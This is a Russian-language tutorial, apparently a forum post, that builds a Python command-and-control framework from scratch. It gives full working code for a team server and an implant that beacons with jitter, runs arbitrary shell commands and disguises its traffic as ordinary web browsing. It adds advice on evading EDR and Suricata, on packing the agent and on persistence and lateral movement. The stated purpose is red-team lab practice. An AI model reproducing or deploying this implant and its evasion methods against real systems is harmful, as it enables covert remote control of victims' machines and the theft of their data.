Каждый второй вопрос на Reddit-тредах про Red Team звучит одинаково: «делать C2 с нуля или кастомизировать существующий?». Ответ зависит от цели. Нужно провести пентест за неделю - берите Sliver или Havoc, не выпендривайтесь. Но если хотите понять, как работает command and control изнутри, почему ваш beacon убивается CrowdStrike на третьей секунде и как спроектировать протокол, который не ляжет под Suricata - написание C2 фреймворка на Python даст больше, чем сотня запусков чужих инструментов.
Здесь не обзор Mythic или Cobalt Strike. Здесь мы проектируем, пишем код и тестируем собственный C2 фреймворк с нуля. От пустого каталога до работающего агента, который переживает первый контакт с EDR в лабораторной среде.
Зачем писать C2 фреймворк своими руками
По данным Kaspersky за Q2 2025 (отчёт AlphaHunt), порядок популярности C2-фреймворков в реальных атаках: Sliver, Havoc, Metasploit, Mythic, Brute Ratel C4, Cobalt Strike. У каждого из них есть сигнатуры. YARA-правила для Sliver публикуются на следующий день после релиза. Beacon Cobalt Strike разобран до байта. Mythic-агенты детектируются по характерным паттернам JSON-трафика - вот пример Suricata-правила из документации Tuoni C2:
Код:
alert http any any -> any any (
msg:"C2 Beacon Pattern";
http.method; content:"POST";
http.uri; pcre:"/\/api\/agent\/beacon/";
http.body; content:"agentId";
sid:2100001; rev:1;
)Когда вы пишете red team C2 фреймворк с нуля, вы получаете уникальный протокол, уникальную структуру трафика и уникальные строки в бинарнике. Ни одна сигнатура из публичных баз вас не поймает - потому что вашего кода в этих базах нет. Не silver bullet, но стартовое преимущество, которого нет у оператора с дефолтным Havoc Demon.
Вторая причина - понимание. Пока вы не реализовали beacon loop руками, вы не понимаете, почему jitter критически важен. Пока не написали диспетчер задач - не осознаете, где именно EDR вставляет хуки. Без этого любой коммерческий инструмент остаётся чёрным ящиком.
Архитектура C2 фреймворка: три ключевых компонента
Прежде чем писать код - проектируем систему. Архитектура C2 фреймворка состоит из трёх слоёв, и каждый проектируется отдельно.Team Server - мозг операции
Team Server - серверная часть, которая принимает соединения от имплантов, хранит очередь задач и отдаёт результаты оператору. В Mythic это Go-микросервисы в Docker. В Cobalt Strike - монолитный Java-процесс. Мы пишем на Python, так что наш command and control сервер будет HTTP-сервером с очередью задач в памяти.Ключевые решения на этом этапе:
- Протокол - HTTP, DNS, WebSocket или TCP. HTTP проще всего для прототипа и лучше мимикрирует под легитимный трафик.
- Хранение задач - in-memory dict для прототипа, SQLite для persistence.
- Аутентификация агентов - каждый имплант должен иметь уникальный ID, иначе вы не отличите одну скомпрометированную машину от другой.
- Мультиоператорность - для MVP не нужна, но архитектурно стоит заложить.
Имплант C2 - агент на целевой машине
Имплант (он же агент, он же beacon) - самый сложный компонент. Он работает во враждебной среде, где EDR мониторит каждый API-вызов. Имплант C2 на Python должен уметь:- Периодически связываться с сервером (beaconing).
- Получать задачи и исполнять их.
- Отправлять результаты обратно.
- Не умирать при потере связи.
Транспортный канал - как не спалиться на проводе
Транспорт - это не просто «открыть сокет». Это решение о том, как выглядит ваш трафик для сетевого мониторинга. Шлёте POST-запрос с JSON{"agentId": "abc", "task": "whoami"} на http://evil.com/api/beacon - ловится одним Suricata-правилом. Шлёте GET на /static/logo.png с данными в Cookie-заголовке - уже сложнее.Для прототипа используем HTTP с кастомным форматом данных. В боевой операции замените на HTTPS с domain fronting или DNS-over-HTTPS, но принцип тот же.
Пишем command and control сервер на Python
Начнём с Team Server. Нужен HTTP-сервер, который:- Регистрирует новых агентов.
- Отдаёт задачи по запросу.
- Принимает результаты выполнения.
- Предоставляет оператору CLI для управления.
Python:
#!/usr/bin/env python3
"""C2 Team Server - минимальный прототип"""
import json
import threading
import base64
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
# Хранилище: агенты и очередь задач
agents = {} # agent_id -> {info, last_seen}
task_queue = {} # agent_id -> [task1, task2, ...]
results = {} # agent_id -> [result1, result2, ...]
# XOR-обфускация - минимальная, для примера концепции
KEY = b'\x4a\x7b\x2c\x9d'
def xor_data(data: bytes, key: bytes) -> bytes:
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def encode_payload(data: dict) -> str:
raw = json.dumps(data).encode('utf-8')
encrypted = xor_data(raw, KEY)
return base64.b64encode(encrypted).decode('ascii')
def decode_payload(b64_data: str) -> dict:
encrypted = base64.b64decode(b64_data)
raw = xor_data(encrypted, KEY)
return json.loads(raw.decode('utf-8'))
class C2Handler(BaseHTTPRequestHandler):
"""Обработчик HTTP-запросов от агентов"""
def log_message(self, format, *args):
pass # Тихий режим - не логируем в stdout
def do_POST(self):
content_len = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_len).decode('utf-8')
try:
data = decode_payload(body)
except Exception:
self.send_response(404)
self.end_headers()
return
action = data.get('action')
agent_id = data.get('id')
if action == 'register':
agents[agent_id] = {
'info': data.get('info', {}),
'last_seen': data.get('ts')
}
task_queue.setdefault(agent_id, [])
results.setdefault(agent_id, [])
print(f'[+] Новый агент: {agent_id}')
resp = encode_payload({'status': 'ok'})
elif action == 'beacon':
# Агент пришёл за задачами
agents[agent_id]['last_seen'] = data.get('ts')
tasks = task_queue.get(agent_id, [])
task_queue[agent_id] = [] # очистить после выдачи
# NB: чтение + очистка очереди не атомарны - при одновременном
# добавлении задачи оператором возможна потеря. Для production
# используйте threading.Lock или queue.Queue.
resp = encode_payload({'tasks': tasks})
elif action == 'result':
results.setdefault(agent_id, []).append(data.get('output'))
print(f'[<] Результат от {agent_id}: {data.get("output")[:80]}')
resp = encode_payload({'status': 'ok'})
else:
self.send_response(404)
self.end_headers()
return
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(resp.encode('ascii'))
def do_GET(self):
# Фейковая страница для маскировки
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.end_headers()
self.wfile.write(b'<html><body>It works!</body></html>')
def operator_console():
"""CLI оператора - управление агентами"""
while True:
cmd = input('C2> ').strip()
if cmd == 'list':
for aid, info in agents.items():
print(f' {aid} | last_seen: {info["last_seen"]}')
elif cmd.startswith('task '):
parts = cmd.split(' ', 2)
if len(parts) == 3:
aid, command = parts[1], parts[2]
task_queue.setdefault(aid, []).append(
{'type': 'shell', 'cmd': command}
)
print(f'[>] Задача поставлена для {aid}')
elif cmd.startswith('results '):
aid = cmd.split(' ', 1)[1]
for r in results.get(aid, []):
print(r)
elif cmd == 'help':
print('list - список агентов')
print('task <id> <cmd> - поставить задачу')
print('results <id> - показать результаты')
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 8443), C2Handler)
srv_thread = threading.Thread(target=server.serve_forever, daemon=True)
srv_thread.start()
print('[*] C2 сервер запущен на порту 8443')
operator_console()- XOR-обфускация здесь только для демонстрации концепции. В боевом варианте используйте AES-256 из
pycryptodomeс ротацией ключей. - Ответ
Content-Type: text/html- намеренно. Для сетевого мониторинга это выглядит как обычный веб-сайт. log_messageподавлен - сервер не пишет в stderr, меньше шума.
Разработка имплантa C2 на Python: beacon loop и диспетчер задач
Теперь самое интересное - имплант C2 на Python. Агент должен работать на целевой машине, периодически стучаться на сервер и выполнять команды.Beacon loop с jitter
Главная ошибка новичков - фиксированный интервал beaconing. Если агент стучится ровно каждые 30 секунд, сетевой аналитик увидит это как метроном на графике. Jitter - случайное отклонение от интервала - тут критически важен.
Python:
#!/usr/bin/env python3
"""C2 Agent / Implant - минимальный прототип"""
import json
import base64
import time
import random
import subprocess
import platform
import os
import urllib.request
import urllib.error
C2_URL = 'http://192.168.1.100:8443'
BEACON_INTERVAL = 30 # секунды
JITTER_PERCENT = 40 # ±40% отклонение
KEY = b'\x4a\x7b\x2c\x9d'
def xor_data(data: bytes, key: bytes) -> bytes:
return bytes([b ^ key[i % len(key)] for i, b in enumerate(data)])
def encode_payload(data: dict) -> str:
raw = json.dumps(data).encode('utf-8')
encrypted = xor_data(raw, KEY)
return base64.b64encode(encrypted).decode('ascii')
def decode_payload(b64_data: str) -> dict:
encrypted = base64.b64decode(b64_data)
raw = xor_data(encrypted, KEY)
return json.loads(raw.decode('utf-8'))
def generate_agent_id() -> str:
return base64.b16encode(os.urandom(8)).decode().lower()
def get_system_info() -> dict:
return {
'hostname': platform.node(),
'os': platform.platform(),
'user': os.getenv('USERNAME', os.getenv('USER', 'unknown')),
'pid': os.getpid()
}
def send_to_c2(data: dict) -> dict:
"""Отправка данных на C2 сервер"""
encoded = encode_payload(data).encode('ascii')
req = urllib.request.Request(
C2_URL,
data=encoded,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
},
method='POST'
)
try:
with urllib.request.urlopen(req, timeout=10) as resp:
return decode_payload(resp.read().decode('ascii'))
except urllib.error.URLError:
return {}
def execute_task(task: dict) -> str:
"""Диспетчер задач агента"""
task_type = task.get('type', '')
if task_type == 'shell':
cmd = task.get('cmd', '')
try:
result = subprocess.run(
cmd, shell=True, capture_output=True,
text=True, timeout=30
)
return result.stdout + result.stderr
except subprocess.TimeoutExpired:
return '[!] Command timed out'
elif task_type == 'sleep':
# Динамическое изменение интервала
global BEACON_INTERVAL
BEACON_INTERVAL = int(task.get('value', 30))
return f'Sleep interval set to {BEACON_INTERVAL}s'
return '[!] Unknown task type'
def calc_sleep(base: int, jitter_pct: int) -> float:
"""Рассчитать интервал сна с jitter"""
deviation = base * (jitter_pct / 100.0)
return base + random.uniform(-deviation, deviation)
def main():
agent_id = generate_agent_id()
# Фаза 1: регистрация
reg_response = send_to_c2({
'action': 'register',
'id': agent_id,
'info': get_system_info(),
'ts': int(time.time())
})
while not reg_response:
time.sleep(60)
reg_response = send_to_c2({
'action': 'register',
'id': agent_id,
'info': get_system_info(),
'ts': int(time.time())
})
# Фаза 2: beacon loop
while True:
sleep_time = calc_sleep(BEACON_INTERVAL, JITTER_PERCENT)
time.sleep(sleep_time)
response = send_to_c2({
'action': 'beacon',
'id': agent_id,
'ts': int(time.time())
})
tasks = response.get('tasks', [])
for task in tasks:
output = execute_task(task)
send_to_c2({
'action': 'result',
'id': agent_id,
'output': output,
'ts': int(time.time())
})
if __name__ == '__main__':
main()Диспетчер задач и расширяемость
Функцияexecute_task - ядро агента. Сейчас она умеет выполнять shell-команды и менять интервал. В боевом C2 сюда добавляются:| Тип задачи | Описание | Сложность |
|---|---|---|
shell | Выполнение системных команд | Низкая |
upload / download | Передача файлов через C2-канал | Средняя |
inject | Process Injection (T1055) | Высокая |
screenshot | Снимок экрана через API | Средняя |
socks | SOCKS5 прокси через агент | Высокая |
sleep | Изменение интервала beaconing | Низкая |
selfdestruct | Удаление следов и завершение | Средняя |
Архитектурно правильный подход - расширяемый диспетчер через словарь обработчиков:
Python:
TASK_HANDLERS = {}
def register_handler(task_type: str):
"""Декоратор для регистрации обработчика задачи"""
def wrapper(func):
TASK_HANDLERS[task_type] = func
return func
return wrapper
@register_handler('shell')
def handle_shell(task: dict) -> str:
cmd = task.get('cmd', '')
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
return result.stdout + result.stderr
@register_handler('sleep')
def handle_sleep(task: dict) -> str:
global BEACON_INTERVAL
BEACON_INTERVAL = int(task.get('value', 30))
return f'Interval: {BEACON_INTERVAL}s'
def execute_task(task: dict) -> str:
handler = TASK_HANDLERS.get(task.get('type', ''))
if handler:
return handler(task)
return '[!] Unknown task type'Обход EDR с помощью C2: что реально работает
Код выше - рабочий, но любой EDR убьёт этот процесс за секунды. Разберём конкретные точки, где вас поймают, и что с этим делать.Лаборатория для тестирования C2: стенд с живым EDR
Писать C2 без тестовой среды - как писать код без компилятора. Нужна лаборатория для тестирования C2 с реальным EDR.Сборка лабораторного стенда
Минимальная конфигурация:| Машина | ОС | Роль | EDR |
|---|---|---|---|
| Attacker | Kali / Ubuntu | C2 Team Server | Нет |
| Target-1 | Windows 10/11 | Жертва | Microsoft Defender (встроенный) |
| Target-2 | Windows Server 2022 | Жертва | Elastic EDR (бесплатный tier) |
| Monitor | Ubuntu | Сетевой мониторинг | Suricata + Zeek |
Развёртывание:
- VirtualBox или VMware с host-only сетью (изоляция от интернета - обязательно).
- На Target-1 оставляете штатный Windows Defender с включённой облачной защитой - это важно. Без cloud protection Defender работает вполсилы.
- На Target-2 ставите Elastic Agent с интеграцией Elastic Defend - бесплатный EDR с поведенческим анализом.
- На Monitor - Suricata с набором правил ET Open и Zeek для полного разбора трафика.
Методика тестирования
Пошаговый чеклист, который я использую при каждой итерации агента:Шаг 1: Запуск и регистрация. Поднимите Team Server на Attacker. Запустите агент на Target. Проверьте: прошла ли регистрация? Что записал Defender в Event Log? Что увидел Suricata?
Bash:
# На машине Monitor - проверка алертов Suricata
tail -f /var/log/suricata/fast.log | grep -i "c2\|beacon\|trojan"
# На Target-1 - проверка событий Defender через PowerShell
Get-MpThreatDetection | Select-Object -Last 5whoami через консоль оператора. Проследите всю цепочку: запрос агента → ответ сервера → исполнение → отправка результата. На каком этапе среагировал EDR?Шаг 3: Долгоживучесть. Оставьте агент работать на 2–4 часа. Поведенческий анализ EDR часто срабатывает не мгновенно, а по накоплению аномалий.
Шаг 4: Эскалация. Попробуйте более «шумные» команды: загрузку файла, запуск PowerShell, сетевое сканирование. Зафиксируйте порог, на котором EDR убивает процесс.
После каждого цикла - анализ и доработка. Типичные результаты первых итераций:
- Defender убивает
python.exeс аргументомagent.py- решение: скомпилировать через PyInstaller и переименовать. - Suricata ловит паттерн base64 в Cookie - решение: добавить padding и мусорные параметры.
- Elastic EDR алертит на
subprocess.run+cmd.exe- решение: использоватьctypes+CreateProcessWнапрямую.
Обнаружение C2 трафика: что видит защита
Чтобы строить C2 инфраструктуру для пентеста, нужно понимать, как работает обнаружение C2 трафика на стороне защиты. Лично я каждый раз смотрю на свой агент глазами SOC-аналитика - и это сильно отрезвляет.Сетевой уровень. SOC-аналитики ищут: периодичность запросов (beaconing analysis), аномальные User-Agent, подозрительные домены, нестандартные размеры запросов/ответов. Инструменты - RITA, Zeek, Suricata. Ваш jitter и маскировка трафика - прямое противодействие этому.
Endpoint уровень. EDR мониторит: создание процессов, системные вызовы (через ETW и kernel callbacks), сетевые соединения процессов, манипуляции с памятью. По данным AlphaHunt, рекомендации для SOC включают мониторинг выполнения PowerShell/Python (особенно связанного с доступом к облачным сервисам), алерты на reflective DLL injection, in-memory payloads и process injection (T1055), а также на выполнение команд через интерпретаторы (T1059).
Поведенческая аналитика. Корреляция событий: процесс
svchost.exe делает HTTP-запрос на нестандартный порт - подозрительно. Процесс без подписи порождает дочерний cmd.exe каждые 30 секунд (
Ссылка скрыта от гостей
) - подозрительно. Именно поэтому jitter, маскировка Parent PID и отказ от subprocess в пользу прямых API-вызовов - не опциональные улучшения, а необходимость.Что дальше
Мы прошли путь от пустого файла до работающей C2 инфраструктуры с сервером, агентом и базовыми техниками обхода:- Team Server с HTTP-listener, очередью задач и CLI оператора.
- Агент с beacon loop, jitter, расширяемым диспетчером задач.
- Транспорт с XOR-обфускацией и маскировкой под легитимный трафик.
- Лабораторный стенд для итеративного тестирования против живого EDR.
- Шифрование AES-256 вместо XOR - используйте
pycryptodome. - DNS-канал - для случаев, когда HTTP заблокирован.
- Persistence - автозапуск агента через реестр, scheduled tasks или WMI.
- Lateral movement - после закрепления на первой машине агент должен уметь распространяться.
- Компиляция - PyInstaller удобен для доставки (единый бинарник), но его сигнатуры (PYZ-архив,
_MEIPASS) хорошо известны AV/EDR, а UPX-пакинг автоматически распаковывается большинством движков, скорее увеличивая detection rate. Для реального обхода статического анализа рассмотрите Nuitka (компиляция в нативный C), Cython для критических модулей или кастомный loader с шифрованным payload.
Попробуйте поднять стенд из раздела про лабораторию и прогнать агент против Defender с включённым cloud protection. Если он проживёт больше 5 минут на первой итерации - напишите как, мне правда интересно.
